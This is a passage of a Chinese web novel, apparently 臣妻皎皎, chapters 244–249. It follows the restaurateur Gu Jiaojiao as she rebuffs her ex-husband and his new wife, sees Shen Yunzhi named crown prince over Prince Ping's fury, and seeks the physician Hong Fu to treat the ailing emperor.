徐青青眼含着泪,轻咬着红唇,那张倾国倾城的脸,看了都让人心生犹怜。 平王妃却不吃这一套。 “收起你那哀怨的嘴脸,本王妃不屑于与你撒谎,你是忘记了,是谁领你进的这院子吗?” 是李嬷嬷。 李嬷嬷跟在平王身边多年,是心腹,也是左右手。 徐青青这才想起来,李嬷嬷一直站在旁边,对于她被打之事,也只是看着。 “李嬷嬷,父王派你来,定是怕我受委屈,如今这般,你就只是看着吗?” 徐青青豆大的泪珠滑落于脸颊,但在场的人却无一人流露出心疼。 李嬷嬷上前几步,先向平王妃行了个礼,才面向徐青青。 “姑娘息怒,平王有话交代。” 平王的意思很简单,若是徐青青安分守己,今日自然是顺顺利利的过,平王妃也不会为难,但若是徐青青不肯罢休,那所有处置都由平王妃决定。 李嬷嬷的话就是平王的话。 “姑娘,至今为止,王爷也不曾认下你,所谓郡主,是为了照顾你夫家门楣,在外你是郡主,但若到了这平王府,姑娘依旧只是徐姑娘。” 李嬷嬷微低着头,每一个字都说铿锵有力。 徐青青不可思议的瞪大眼睛,半晌才回过神。 “为何会是这样?是不是你们,你们在父王面前说了我什么?” 她从不在自己身上找原因。 面对这样的蠢货,平王妃也是懒得浪费口舌。 “你和你夫君做了多少恶心事,让王爷丢尽了脸面,如今能在外维护着你的颜面已实属勉强,你好自为之。” 平王妃说完后,便起身离开。 徐青青看着这空荡荡的屋子,心里的恨意在不断翻涌。 什么平王府,什么安阳候府,她都不在意,她在意的是,能不能踩着这些门楣越爬越高。 虽说是归宁,但徐青青与孙协兆并不招待见,草草的吃了顿饭后便离开了。 回去的路上,徐青青在马车里轻声抽泣,靠在孙协兆的肩膀,让人心疼不已。 “夫君今日也看到了,王妃心思歹毒,趁父王不在便欺辱于我,可见我当初在她手下过的是何种日子。” 徐青青哭的梨花带雨,孙协兆心疼不已。 “世家大族大多如此,那平王妃不是你的生母,自是嫉妒于你是父王的女儿,日后,你若是不想回来,那便不回来,我定护你周全。” 孙协兆说这话的时候,像是在发誓一般,揽着徐青青的手都不自觉的收紧。 徐青青将头埋得更深。 “幸好,幸好还有夫君护着我。” 孙协兆自是看不到徐青青眼底的那份得意。 第一楼。 顾皎皎身体刚刚好转便过来查看账薄,又突然想到自己在病中时杜玉荣曾送来一些汤药与补品,心中难免过意不去。 “莺儿,让厨房准备一些糕点,香酥软糯的,再备上一条香酥醋鱼,送去杜府。” 听着顾皎皎的吩咐,莺儿愣了一下。 “姑娘这是想通了?” “这有什么想通想不通,投之以桃,报之以李,杜大人行事光明磊落,我自不可太过狭隘,快去吧。” 她确实是想通了,一味的逃避并没有让她心安,反倒是对方得寸进尺,既如此不如坦然面对,至少无愧于心。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百四十四章 少来这套 顾皎皎正忙碌之时,一群人踏进了第一楼,看着为守的人,顾皎皎心里涌起厌恶。 “叫你们掌柜的出来。” 孙协兆高昂着头,知道的是他做了平王的女婿,不知道的还以为他当了太子。 第一楼这地界,什么高官候爵,什么达官贵人,自是都见过的,当值的伙计也不会被他几句话就吓住。 “公子,我们掌柜的……” “陈路。” 顾皎皎从身后走出来,将伙计的话打断。 陈路在这里干的时间不短了,在顾皎皎示意下去忙其他的,只是在离开前,还鄙夷的瞟那对男女一眼。 “孙公子,孙夫人,有失远迎,要吃些什么?楼上有雅座。” 顾皎皎自然知道这二人是来示威的,刚刚归宁结束,就来了第一楼,他们倒是真惦记她。 “这第一楼看着挺好,只是这下人没规矩,顾姑娘若不会管下人,干脆就不要开什么酒楼。” 徐青青眼高于顶,端着架子的模样,像极了小丑,但她自己并不自知。 “孙夫人说的是,我这只是一间小酒楼,自是有不足之处。” 顾皎皎维持着微笑,也打量着这二人。 到底是不一样了,孙协兆身上的衣衫都是新做的,上好丝绸,精致的刺绣,要知道在他成婚之前,他所穿的衣衫,还是顾皎皎给他买的。 “人人都说,识时务者为俊杰,顾姑娘今日倒是客气了不少,自也是知道你我身份天差地别了吧。” 徐青青与顾皎皎的接触并不多,但在和离之前,种种变故,她却都有牵扯,这份仇怨早就种下了。 “孙三夫人说笑了,我乃是是生意人,顾客就是我的衣食父母,任谁站在我面前,我也得敬着重着不是?” 顾皎皎现下不忙,才能陪着他们演戏,也是为了看个热闹。 “顾皎皎,你少来这套,我告诉你,现在就算你跪地求饶也晚了。” 孙协兆的那份自信不知是从哪里来的,但好似也只有在顾皎皎面前,他才敢如此。 也不等顾皎皎说什么,孙协兆便又鄙夷的说了下去。 “我也知道,你背靠小云南王,可那又怎样,论辈份他也只得称我岳父一声叔父,从此以后,你这酒楼能不能开下去,全在我一念之间。” 这夫妇二人你一言我一语的,倒是配合的相当完美,惹得顾皎皎都差点笑出声。 “所以,二位,不是来第一楼用膳的吗?” 顾皎皎伪装出一脸疑惑的模样,似又是突然想起来似的开口。 “哎呀,看我这记性,安阳候府早就没有银子了,估计孙三公子也无法在这里用膳,要不,我送些茶点给二位?” “顾皎皎,你别给脸不要脸。” 孙协兆顿时急了,人嘛,一旦说到自己的痛处,便不会保持冷静。 顾皎皎却是莞尔一笑,神色淡然。 “孙公子何必着急,我不过是开个玩笑罢了,平王府与安阳候府都是有头有脸的门第,怎会吃不起一顿饭呢。” 后面的话,她刻意提高了音量,也让周围的人知道这二位的身份。 孙协兆的脸红一阵白一阵,还是徐青青拉住他,他才控制住打人的冲动。 “顾掌柜也不必出言讥讽,我们自也是不差这顿饭钱,我今日来也不是来找麻烦,而是听闻第一楼的糕点极佳,便想买些尝尝,若是真的好,日后便定你家了。” 徐青青的眼底闪过一抹邪魅。 “还是孙三夫人有眼光,第一楼的糕点在京中敢说第二,绝没有人敢说第一。” 激将法,成功。 顾皎皎带着他们二人看了一些糕点的样式,也简单的介绍了一下。 徐青青大手一挥,一下买了七八种糕点。 顾皎皎自是命人仔细包好,递到孙协兆手中。 “一共二百三十两。” 顾皎皎一脸真诚,看着眼前的两个人,又马上补了一句。 “二位与我也算是旧相识,那便二百两。” “顾皎皎,你什么意思?你就算不把安阳候府看在眼里,还不将平王府看在眼里吗?我们今日来买你的糕点,算是给你脸面,几块破糕点,你竟然还想要银两?” 孙协兆咬着牙,按照他的理论,顾皎皎就要欢天喜地的送到他手中,还不要一文钱。 “孙公子这话何意?我乃生意人,一手交钱一手交货不是应该的吗?就算是天王老子来了,吃东西也要给钱啊。” 顾皎皎疑惑不解的神情,让人分不清她是真不懂孙协兆的意思,还是装的。 “你……好,就算要给钱,你这几块破糕点也太贵了些,安知不是在坐地起价?” 孙协兆想发作之时,也注意到周围人的目光,他只好改了口风。 “唉,要不说孙三夫人的眼光好呢,这其中有两款糕点,那可是送入皇宫的,皇上娘娘们用的糕点,自然价格不同,二位也是来得巧,若是晚来一步,就算再多的银两也是买不到的。” 她很是认真。 “你少唬我。” “孙三夫人的父王乃是平王,出入宫中极为方便,一问便知。” 顾皎皎的语气都坚定了几分。 徐青青冷哼一声,从袖间掏出两枚银锭,放到面前的桌上。 “区区二百两而已,没什么大不了的。” “看看,看看,这才是大家子女的气魄,孙公子,你好歹也时候门之后,该多向你的夫人学学。” 顾皎皎一句脏话没说,便将这二人打发了,自然了,离开前,徐青青还是暗中警告她小心一些。 顾皎皎不以为然,若是她能被威胁到,还不如烂死在孙家。 “顾掌柜,你也太好心性了,这对夫妇明显是为了过往来找你麻烦的,你不将他们打出去就算了,怎么还做他们生意啊。” 说话的不是第一楼的人,而是老顾客,对于顾皎皎与孙协兆之间的事会多了解一些。 孙家人之前上门来闹,这些老顾客们也是一清二楚,更时不时的会为顾皎皎打抱不平。 顾皎皎看了一眼那人,而后举了举手中的银锭。 “我不做他们生意,怎有银钱请诸位吃饭啊,今天在场的诸位,想吃什么随意些,我请客。” 话音落下,欢呼声满堂。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百四十五章 是不是有什么误会? 孙协兆与徐青青在顾皎皎那里并未得到好处,但他们还是旁敲侧击的派人去平王那里打探糕点的事,结果,却搬起石头砸自己的脚。 李嬷嬷踏入了安阳候府的院子。 孙老夫人带着一众人热情迎接,到底是平王身边的人,他们都要敬着,哄着,但李嬷嬷却只是将徐青青与孙协兆叫进了屋内。 “老奴代平王问话,二位是否去找顾皎皎麻烦了?” 李嬷嬷沉稳稳重,但面色严肃。 孙协兆向来是个不担事的,看到这般情景,又分不出是好事还是坏事,便低头不语。 徐青青却依旧是那副理直气壮的模样。 “怎么?父王不愿见我这个女儿,倒是关心起其他女子了,一个贱门贱户的顾皎皎,别说我找她麻烦,就算是杀了她,又能如何?” 徐青青心里是有气的,自也是怨着平王的,现下李嬷嬷上门,却是为了其他人,她更是憋着一股气。 李嬷嬷微微颌首,双手放在身前,一直保持着该有端庄。 “王爷说了,二位若是再去招惹那女子,便平了安阳候府。” 此话一出,徐青青和孙协兆的脸色瞬间变了。 “不,怎么会……嬷嬷,这其中是不是有什么误会?” 孙协兆语无伦次。 “李嬷嬷,父王是不是太过分了?一个商户之女,他也这般维护吗?我可是她的亲生女儿。” 徐青青惊呼出声,满脸的不甘,使她好看的脸都显得有些扭曲。 这二人急了,不明所以,向李嬷嬷追问,可这位嬷嬷却并未给出理由。 “老奴话已带到,二位该是知道,王爷向来说到做到,告辞。” 李嬷嬷就这样离开了。 孙协兆与徐青青面面相觑,最后也没有问出个所以然。 孙老夫人一干人等看着李嬷嬷离开,便都跑到徐青青的院子,他们猜测着,定是平王又命人送来了赏赐,却不想看到他们夫妇二人一脑门的官司。 “这是怎么了?难不成连平王都得罪了?” 孙老太太想到了最坏的结果,忍不住开口。 徐青青本就在怒火之上,抬眼看着众人,更是怒不可遏。 “滚,都给我滚出去,滚。” 她突然似是发了疯一般大吼出声,将在场的人都吓了一跳。 “老三媳妇,你太过分,这可是你的婆母,你……” 刘氏看不过去,但还未说完,几人就被孙协兆推出了门,还在外将房门带上。 “看看,看看你娶这个新妇,这不是要翻天吗?” 孙老夫人也气的不轻。 “母亲,青青心情不好,您何苦在这个时候为难她?” “什么?为难?你可真是我的好儿子,我……” “母亲,青青是平王的女儿,顺着她对你们有什么坏处?如今我也是平王的女婿,登阁拜相不是早晚的事?” 听到孙协兆这样说,孙老夫人倒是冷静了一些。 “话虽如此,可是这个徐青青也太张狂了,屡次犯上,这一点她就不如顾……” “母亲。” 孙协兆听不得顾皎皎三个字,语气都严肃了一些。 “我们是候府,一个商户之女有什么可留恋的?这话若是让青青听到,后果岂是你我可以承担的?您也要往长远了想,与平王有关系,这京城之中还有什么是我们不能的?” 这是孙协兆最得意之处。 曾经得罪了小云南王,孙协兆后悔了许久,但如今有了平王,他甚至不将小云南王放在眼里。 孙老夫人几人被劝走,孙协兆才返回去哄徐青青。 徐青青不明白自己的父王为何会这般维护顾皎皎,但她也只能在自己的院子里发通脾气,到底也不敢跟平王对着干。 平王府。 平王妃将平王的外衫脱下,轻挂在一旁。 “那顾皎皎也不是什么得体的人,王爷为何要保她?” “我不是保那女子,而是保平王府。” 沈云祉阴阳怪气的说那些话,平王当时不懂,但是过后想明白,他应该就是想让平王对顾皎皎下手,而后便可去向皇上告状。 如今大局未定,平王自是不想多生事端,可奈何徐青青与孙协兆是不省心的,他只得让李嬷嬷去提点。 平王妃见平王没有说下去的意思,也未再问。 “王爷行事必有王爷的道理,想必王爷今日也累了,先歇息下,妾身命人做些王爷爱吃的。” 朝堂之事,平王妃参与的极少,但想着能让徐青青被训斥,她就打心底里高兴。 平王妃出去了,但不过一刻钟的时间,便又逝返回来。 平王倚靠在榻上,微闭着双眼,听着有人进来,眼皮也不曾抬一下。 “膳食准备好了?” “王爷,不好了,出事了。” 平王妃出自名门,跟随平王多年,什么大风大浪的都见过,从未像现在这般失态过。 平王猛然坐直身体,看着平王妃,一个字未说。 “皇上立下了太子。” 平王妃极力控制着自己的情绪,尽量让语气听起来平静一些。 平王却急了。 “不可能,皇上并无子嗣,哪里来的太子?何况,今日早朝可是没有听到半点风声。” 他不可置信,随后,才死死的盯着平王妃。 “是……是沈,沈云祉。” 听到这个名字,平王将榻边的矮几掀翻,发出了巨大的声响,就连平王妃都吓得后退了几步。 “怎么会是他?消息可靠吗?哪里来的消息?” 平王还抱有最后一丝希望,觉得可能是平王妃的耳目出现了偏差,可当听到平王妃的话后,他所有的希望都破灭了。 “召告天下。” 沈云祉被立为太子,得召告天下之幸,如今不只是平王府的耳目,就是全天下的人都得知了这个消息。 平王无法接受这个事实,不顾平王妃的阻拦,便前往皇宫。 京城本是帝都,最为繁华之所,太子新立,更是让百姓们觉得新的希望来临。 小云南王威名远扬,爱民如子,自是一夜之间多了不少支持者。 顾皎皎站在第一楼的门口,抬头直视阳光,耀眼灿烂,便如沈云祉的前程一般。 所有人都说小云南王的运气极好,可她却知晓,他是得偿所愿。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百四十六章 帝王之材 顾皎皎一直都知道,沈云祉是有野心的。 自沈云祉回京后,走的每一步路都是在为今天铺路。 他成功了,但这也意味着,他日后的所有时光都要更加格外小心谨慎。 “姑娘,怎么站在这里?” 莺儿抱着一件斗蓬走过来,披在顾皎皎肩膀时,也看到她眉宇间闪过的忧虑。 “姑娘是在想……这个人也是,如此大的事,也不知跟姑娘说一声,害姑娘担心。” 莺儿小声的嘀咕着,却也被顾皎皎听入耳中。 “胡说什么?他有事为何要跟我说?何况这是小事,涉及朝政,便是涉及王位,岂是你我可以置喙的?” 顾皎皎一脸严肃,莺儿却一脸委屈。 “可是姑娘,我都没有说是谁啊。” …… 顾皎皎一时无言,她低垂下眼眸,紧了紧身上的斗蓬,转身走回第一楼。 莺儿吐了吐舌头,紧随其后。 普天同庆的日子,皇上下旨三日后在宫中设宴以此庆贺,给人一种很是喜庆的感觉。 但,沈云祉神不知鬼不觉的拿到太子之位,无论是宗室亲眷,还是文武百官却无一人知晓,而皇上在此之前,也未向任何人提及此事。 朝阳殿内。 皇上案几上的奏折已经像小山一般,殿外,更一波接着一波的朝臣请求面圣,但这些皇上都未理会。 云南王站在皇上身侧,看着一位公公又拿进来的一些奏折,终是有些不能安定。 “皇上,朝堂稳固,家国才安,如此行事,会不会……” 云南王略显迟疑。 他是护国王爷,也是边境老将,于他而言百姓安居乐业比什么都重要,若是因为皇室引起战乱,那必是得不偿失。 皇上抬了抬眼帘,发白的唇边袭上一抹笑意,而后看向了沈云祉。 “云祉,你觉得呢?” “回皇上,如若您见了平王,就不会有这些事了。” 沈云祉说的理所当然。 “放肆。” 云南王率先开口,瞪着沈云祉的目光里满是严厉。 “云南王不必怪他,他所言属实,自发布召令起,平王便一直请旨入宫,朕知他要做什么,便选择了不见,而后才有了这些奏折,才有了外面大臣们一心为国。” 皇上的话语里都透着一丝嘲讽,他嘲笑的不是平王,而是自己。 这些年,为保平王王位尊荣,皇上也算是处处忍让,处处优容,可最后换来的,却也只是他的变本加厉。 到现在,皇上不想再忍了,平王自然也不会善罢甘休。 云南王还想要说什么,皇上却摆了摆手。 “云南王不必说,无论朕立谁为太子,或者是把皇位传给谁,只要不是平王,都会面临这些,不必放在心上。” 皇上胸有成竹,自然也是了解平王的为人。 在皇上的旨意下,沈云祉踏出朝阳殿,与那些大臣面对面。 已经入宫,石阶冰凉,却还是有十几位大臣跪于此,按时辰来算,他们在这里已经有五六个时辰之久。 “臣等请求面见陛下。” “太子乃是国之根本,不可轻言,还望皇上三思。” “云南王与小云南王虽为皇室,但久居边关,对于朝政并不熟悉,不宜立为太子。” …… 即使是看着沈云祉站在他们面前,他们也如此直言,倒是显得他们一片赤诚,皆是忠良贤能之辈。 沈云祉的嘴角噙着笑,居高临下的扫视着一众官员,缓缓开口。 “各位大人还要跪到什么时候?” 他的言语间没有慌乱,没有关切,似只是凑热闹一般的询问着。 “小云南王不必嘲讽,我等身为言官,上谏君王之失,下谏群臣之过,这是臣等的责任,就算是跪死在这儿,也要让皇上收回成命。” 一位为首的大臣说的大义凛然。 沈云祉冷笑出声。 “各位到底是行此职责,还是受人之命,你们心中有数,本王今日便告诉你们,太子之事已定,圣旨已下,就算你们真的跪死在这儿,也更改不了。” 他向前一步,身前的玉佩在阳光下晶莹剔透,微微晃动。 “本王并非是宽宏之人,诸位就真的不怕待我掌权之时,你们会告老还乡吗?” 沈云祉冷冽的眸子里闪过一抹寒光,使那些大臣自觉不寒而栗。 “小云南王,你,你口出狂言,皇上还在位,你竟然敢……” “我也跟你们透个底,皇上既已立储便也意味着心有成算,就算不是我,也绝不会是平王。” 听到平王二安,诸位大臣面面相觑,一时竟不知该如何反驳。 “来人,送诸位大人出宫,若是有不肯走的,下狱吧。” 沈云祉挑了挑眉毛,似是说了一件再平常不过的事,随后一群侍卫走了过来。 在场的都是文官,又深知小云南王心狠手辣,自是不敢硬碰硬,只得离开。 云南王在殿内听着沈云祉在外的动静,汗流浃背,但是皇上却很满意。 “看见了吗?这才是帝王之材,光有仁善是无法治理好国家的。” 皇上眼中的欣赏与满意那般明显。 云南王微微躬身,惴惴不安。 “云祉性子过于执拗,皇上还这般称赞于他,臣心有愧。” 他若是知道沈云祉有一日要承继帝王之位,便不会允许他这些年如此肆意行事。 皇上大笑出声,却敢因此而咳嗽起来,云南王与身旁的公公皆上前,询问着,安抚着。 皇上摆了摆手,示意他们不必惊慌。 “朕这身子如今就是这般,能撑多久朕也不知道,早早的让云祉接手政事,莫要等朕突然离去,他一人应付不来。” “皇上莫要这般说,臣瞧着这宫中太医也是一群糊涂东西,臣稍后便出宫,去为皇上寻找良医。” “云南王不必忙了,朕的身子朕知道,就算是神医以及灵丹妙药,朕也无力回天了。” 这些,都被门外的沈云祉听到。 他是看中了这帝位,可却从未想过会这般快,也不曾想听着皇上的话,他会觉得悲从中来。 沈云祉没有进去,只在门外候着,寒风肆意,他也觉不出半分冷意。 自然,他们一直防着的平王,也没有片刻消停。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百四十七章 礼数 平王心心念念的王位却落入他人之手,这让他如何接受? 他几次请旨入宫,都被皇上拒了,甚至在皇宫门口大闹,都没能踏进皇宫一步,他甚至觉得是云南王与沈云祉从中作梗。 平王将所有的怒火都发泄在了他的王府中,接连两日,他书房里的东西已经换了数遍。 而就在此时,他得到消息,沈云祉出宫了。 平王带着一队侍卫前往街道之上,将沈云祉的马车拦下。 沈云祉并未下车,掀开帘子,眼中的笑意带着嘲讽。 “平王叔有事?” 他扫了一眼平王身后的人,大多都是武艺超群的高手,但他又确定平王不敢当街刺杀。 “沈云祉,你就打算在车上与本王说话吗?” 平王双手背在身后,目光凌厉,依旧摆着那副高高在上的模样。 “平王叔见谅,我有要事去办,今日不能陪平王叔叙话了。” 沈云祉说的是事实,若不是急事,他也不会在此时出宫,可这落在平王眼中,便是觉得这是他的推托之辞。 “到底是云南王的儿子,连最基本的礼数都不懂,就算你有十万火急的事,也该下车。” 平王不会轻易放他离开。 沈云祉眉头微皱,干脆倚靠在马车之上,他是打定了主意不会下车。 “平王叔这是要跟我讲礼仪?若按礼数,我已是太子,平王叔莫不是要向我行礼问安?” 他看着平王的脸色瞬间难看了不少,又轻笑出声。 “我只是开玩笑,平王叔莫要放在心上,您到底是长辈,我自不会拘于这些虚礼。” “呸,你这个太子怕不是偷来抢来的,本王数日无法进宫,你们父子二人到底是用了什么手段,才让皇上下了旨意?” 平王大怒,将连日里来的不甘与委屈都在此时发泄出来,他甚至不顾周围百姓的围观,对沈云祉破口大骂,让人不忍耳闻。 沈云祉一直坐在马车之上,一人狼狈无礼,一人云淡风轻,就算是不了解情况,怕是别人也能看些什么。 沈云祉看够了,听够了,也不想将时间浪费在这里,便朝身侧挥了挥手。 双剑带着一众侍卫走了上来,直接挡在了平王面前。 沈云祉如今是太子,皇上为他配些侍卫,也是合情合理。 “怎么?你还想对我动手不成?我倒要看看,你有没有这个胆子。” 平王咬牙切齿,因为骂的太久,声音都有些嘶哑。 “你们开路,记得莫要伤了平王叔。” 说完,沈云祉便回了车里,帘子放下之时,那些侍卫便将平王等人直接推到路边。 沈云祉的马车继续前行,没有任何阻力。 平王此时愤恨,便欲冲上去,但是一把长剑突然立在他的身前。 “平王知道,属下向来没有轻重,还望平王莫要让属下为难。” 双剑骑于马上,长剑便是握在他的手中,他冷着一张脸,说出来的话也没有任何感情。 平王咬了咬牙,终究是没有再上前一步。 他是知道这个双剑的,随沈云祉征战沙场,战场上的规矩,不杀俘虏,可他在没有得到任何命令的情况下,将十几名俘虏全部斩杀。 现在战场上都有人传言,双剑是一名带着煞气将领,鬼神皆不可靠近。 待马车走远,双剑才带人跟了上去,平王又碰了一鼻子灰。 “去,派人跟着,看看这位太子殿下要去做什么。” 平王低声吩咐身边的人,那人应下后便立即离开。 沈云祉去了第一楼。 顾皎皎听到消息,赶到那间雅间之时,正看到沈云祉悠然自得的喝着茶。 他依旧还是那副慵懒的模样,举手投足间皆带着贵气,也带着让人无法靠近的冰冷。 他看着来人,薄唇微扬,漆黑的眸子闪过一抹明亮的光芒,似是高兴,又似是随意。 他低咳一声,顾皎皎立即回过神。 “民女见过太子殿下,殿下安好。” 她许久没有向他行过这般大礼了。 沈云祉不知该高兴,还是难过。 “起来吧。” 他的声音一如既往的好听。 顾皎皎站起身,微低着头,没敢直视他的眼睛。 “不知太子殿下今日前来,可是有什么吩咐?” “我就不能来看你吗?” 沈云祉转动着的种的茶盏,那抹若有若无的笑袭上嘴角,显得他的精明里透着一丝玩味。 顾皎皎还是因为他这句话怔了怔,才扯动了下嘴角。 “太子殿下莫要开玩笑,若是有什么我可以……” “顾皎皎,你能别这样端着吗?像从前一般不好吗?” 沈云祉突然打断了她的话,侧目时深邃的目光里透着一丝寒冷。 顾皎皎微张着嘴,眼底还是不自觉的闪过一抹慌乱,她不明白沈云祉的意思,确切的,她不知道自己该如他所说的那般去做。 “如今小王爷已是太子,民女若再像从前一般无礼,岂非是嫌自己的命太长?” 她收回目光,神色又恢复了之前的淡然。 “我是太子也好,王爷也罢,你都是第一楼的掌柜,也都是我请的打理铺子之人。” 从沈云祉的语气里便可听出,他的耐心已然快要耗尽。 顾皎皎若是再不懂事,便是蹬鼻子上脸了。 她缓缓抬起头,认真的看着沈云祉。 “所以,皇上知道太子殿下的产业中有青楼吗?” 噗! 沈云祉刚入口的茶一下喷了出来。 他转头看向顾皎皎,这女子却是挑着眉,娇美的脸庞上看不出一丝异样,但眼中的笑意却那样明显。 是他自己说的像以前一样,这个结果,他也只能自己承受。 “顾皎皎,你……说正事。” 沈云祉的声音都显得沉稳了不少,毕竟被人抓住小辫子的感觉并不好受。 “是,太子殿下请吩咐。” 顾皎皎嘴上这样说着,却也直接坐了下来,如从前一样,在他面前,她不再谨守规矩,而是随心情。 “我记得你的产业里是有医馆的,传言有一位名医,少出来,但可称为医者圣手,可是真的?” 这便是沈云祉的正事。 顾皎皎忍不住打量了一下他,在确定不是他本人需要医士后,才缓缓开口。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百四十八章 只是猜的 “太子殿下说的可是洪甫先生?” 洪甫在多年前曾是名医,就像书中说的那般,医者父母心,他走遍天下,可以不为银钱,只为能救人一命,解病痛之忧。 不过,大概七八年前,洪甫医治的一位病人死了,本就是无药可医,但那病人是官身,最终洪甫被判坐牢,还赔偿了很多银钱。 洪甫被放出来时,再无当年的意气风发,想要了此残生,却被路过的顾皎皎的父亲救下。 “没错,他如今可在京城?” 沈云祉眉眼处难得的多了几丝认真,甚至还有一些惊喜。 顾皎皎知道,他既然来问自己,必然是打探到了一些情况,就如洪甫先生在她的医馆里做事,知道的人也甚少。 “太子殿下既问了,那也应该知道,洪甫先生有两不治,一是作恶多端之人不治,二是达官贵人不治。” 顾皎皎停顿了一下,又意味深长的看了沈云祉一眼。 以他的实力,就算请不到洪甫先生,见一面也总不是难事,可他却上门来找她,这其中…… “太子殿下要救的人,怕是不简单吧。” 顾皎皎猜测着,却也是猜中了。 洪甫先生当年因官府与那个大臣联合陷害入牢,从那之后,便对外定下了那两不治的规矩。 沈云祉的眉头皱了皱,面露难色。 “我也只是想试一试,但是此人的身份确实不宜说出口,也确实是在洪甫先生不治之列。” “是皇上吗?” 顾皎皎眨巴着一双大眼睛,几乎是脱口而出。 沈云祉猛得抬头,定定的看着她,甚至猜测着她是不是也在他的身边设了眼线,但很快这个想法便烟消云散。 “只是猜的?” 沈云祉恢复如常,不掩饰对顾皎皎的欣赏之色。 “当然,能让太子殿下如此费心费力的人并不多,今日特意来寻洪甫先生,自然是医治至亲至重之人,思来想去,便也只有皇上了。” 皇上缠绵病榻时日长久,京城之中无人不知无人不晓,但大多人都认为,世间最好的医士都在宫中,所以也不曾有人为皇上出宫求医。 “倒是聪明。” “我可以去为殿下试试,只是……” “皇上的病许久不见起色,即使是医治不好也是正常的,如今我多此一举,只是不想留有遗憾。” 这些时日沈云祉一直陪着皇上,自然也清楚,皇上的病怕是治不好了,但哪怕只是让皇上减少痛苦,他也愿意一试。 顾皎皎扬了扬嘴角,也知沈云祉是至情至性之人。 “这两日我会住在驿站,如果有消息请通知我,如若洪甫先生不肯,那也不必强求。” 这些话说出来,让顾皎皎不禁轻笑出声,后又觉得有些失态,立即装出什么都没有发生的样子。 沈云祉挑了挑眉毛,眼底的光芒意味不明。 “你在嘲笑本王。” “怎么会?只是与太子相处这般久了,还是第一次听到‘请’这个字,我是该好好感谢洪甫先生的。” 她半开着玩笑,清澈的眸子里带着一些调皮,少有的表现出了女儿家该有的神态。 大抵见惯了她冷静自持,沉稳有礼的模样,突然看见她这般,沈云祉一时失态没有移开目光。 这间房间里的气氛立即变得有些尴尬,似是空气里都弥漫着燥热的气息。 咳咳。 顾皎皎站起身,假装什么都没有发生似的看了看外面。 “这个时辰,洪甫先生应该在他的菜园,我现在便去,太子殿下自便就是。” 说完,都不等沈云祉给出什么回应,她便逃也似的离开了。 沈云祉回过神,低垂下眼眸,薄唇微扬,笑容四溢。 没有人知道他在想什么,但在双瑞进来时,在他的眼底看到了一抹温柔。 “太子殿下,平王一直派人跟着我们,我让马车向郊外去了,他们的人以为您在马车上,跟过去了。” 双瑞汇报着。 沈云祉眼底的温柔散去,冷笑出声。 “平王啊,永远都那么蠢。” 他无意嘲笑,说的是事实。 顾皎皎带着莺儿前往城南,越走越偏,最后连人烟都少了许多。 “老爷子年岁渐长,脾气也越来越倔,姑娘说了很多次,让他搬到城中,他就是不肯。” 马车上,莺儿小声的嘀咕。 顾皎皎掀开帘子,看着马车外的不远处。 “洪伯伯喜静,又舍不得他那些花草蔬菜,住在这里便由他吧。” 马车在一处僻静的小院前停下,周围几乎都没什么人家,唯有这院子,明明已是冬季,还生机勃勃的模样。 天气渐冷,百花杀尽,可这院里却摆了许多菊花,各种颜色,开的极盛,屋后的翠竹长高了许多,绿油油,看不出冬日里的景象。 这院子很大,里院外院,除了正房,还有两处厢房,这是当初顾皎皎命人建的,只为让这里的人住的舒服一些。 应是听到了外面的动静,一位老人从正屋走了出来。 老人看上去六十多岁,慈眉善目,花白的胡子是他自己刻意留起来的,说是显得他德高望重,虽然年岁已大,但身体却极为硬朗,只是脸颊处有一道伤痕。 “皎丫头,我听到动静,就知道是你来了。” 这位就是洪甫老先生,在病人面前,他是不苟言笑的老医士,也只有在顾皎皎面前,他才像个老顽童。 顾皎皎走进院子。 “许久没来看您了,天气冷了,我带了些东西过来。” 有炭火,有棉被,还有一些水果以及御寒之物等等。 洪甫看着下人们将东西一箱一箱的搬下来,轻叹了口气。 “我就说你这丫头就爱乱买东西,不知道节俭,我和你父亲当年啊……” “是是,您和我父亲是过过苦日子的,一个馒头两个人分,还要吃两顿,我作为晚辈应该向你们学习。” 这些话啊,顾皎皎每次来都要听几遍,说来也奇怪,洪甫先生似只是记得他陪着顾老爷走南闯北的那两年的辛苦,忘记了他曾经也是名震天下的医士。 几人正往里走时,顾皎皎注意到屋前的几盆花,开的正盛。 “这是什么?” 她好奇询问。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百四十九章 信任他 “海棠,这可是我用陈酿养育的海棠。” 洪甫说这话的时候还捊了捊自己花白的胡子,尽显得意之色。 “怪不得,红花黄蕊,野外坟头常见,却极难养,原来是因为酒的缘故。” “哎呀,皎丫头啊,我一直都说你在医术上也极有天赋的,我是想了多年才想通其中的缘由,坟地处常有祭奠,多用酒水,没想到你一下就明白了。” “洪伯伯,海棠花蕊有巨毒,您养它做什么?” “是毒是药只看怎么用,皎丫头,不如你跟我学医吧?” 洪甫这些年从未断了这个念头。 顾皎皎却是嘿嘿一笑。 “洪伯伯,我不是天赋,而是聪明。” 说完,她就钻进了屋子里,若洪甫哭笑不得。 洪甫是个极为仔细之人,他一人生活在这里,只有两个小厮侍候,但是这屋子极为整洁,一景一物也都有固定的地方。 如从前一般,顾皎皎坐下时,就有小厮端上来一杯茶,浓浓生姜的味道,瞬间遍布整个屋子。 洪甫说她过于劳累,气血不足,所以每次来都会给她准备红枣姜茶,顾皎皎早已习惯了。 “今日过来,是有事吧?” 洪甫看着她低头喝茶半天都没有说话,便也猜到她是有事。 顾皎皎嘻笑着抬起头,起身走到洪甫身后,装模作样的给他敲打着后背。 “我没事啊,自从离开安阳候府,我的时间也多些,便能常常来看您了。” “少来这套,你带着东西上门,那些东西都新置办的,何况,你这也太常常了,明明两日前才来过。” 洪甫毫不留情的拆穿她,而后又耸了耸肩膀,继续开口。 “别敲了,老夫这身体比你还好呢,有事快说。” 顾皎皎立即坐到了他身侧,收敛子脸上的笑容,眉目也袭上了一抹郑重。 她还是缓缓的提及了皇上的病情,也提到她知道洪甫的规矩,并不强求,只是来试一试。 这期间,她也说到了沈云祉。 洪甫听着,半晌没有说话。 空气宁静,顾皎皎的心也提到了嗓子眼。 